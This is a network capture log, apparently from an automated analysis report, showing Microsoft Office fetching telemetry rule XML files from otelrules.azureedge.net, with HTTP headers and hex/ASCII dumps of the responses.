2024-11-22 16:09:39 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-22 16:09:39 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-22 16:09:39 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.10	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:41 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:42 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:41 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160941Z-178bfbc474bv7whqhC1NYC1fg4000000033g00000000s3z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:42 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.10	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:41 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:42 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:41 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160941Z-15b8b599d885v8r9hC1TEB104g00000001pg00000000gce9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 16:09:42 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.10	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:41 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:41 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160941Z-178bfbc474bpscmfhC1NYCfc2c00000001tg00000000c26u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:42 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.10	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:41 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:42 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:41 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160941Z-174c587ffdfldtt2hC1TEBwv9c00000001g000000000d2up x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:42 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.10	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:41 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:42 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160942Z-178bfbc474bv7whqhC1NYC1fg4000000036g00000000cgnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:42 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.10	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:43 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160944Z-174c587ffdfn4nhwhC1TEB2nbc00000001pg00000000p4y1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.10	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:43 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8592a006-f01e-0085-6b6a-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160944Z-174c587ffdf4zw2thC1TEBu34000000001qg00000000gt14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:44 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.10	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:43 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160944Z-178bfbc474b7cbwqhC1NYC8z4n000000032000000000n3z6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.10	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:43 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:44 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160944Z-15b8b599d88f9wfchC1TEBm2kc00000001ug000000007h24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:44 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.10	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:43 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:44 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160944Z-15b8b599d882l6clhC1TEBxd5c00000001hg00000000c8ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:44 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.10	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:46 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
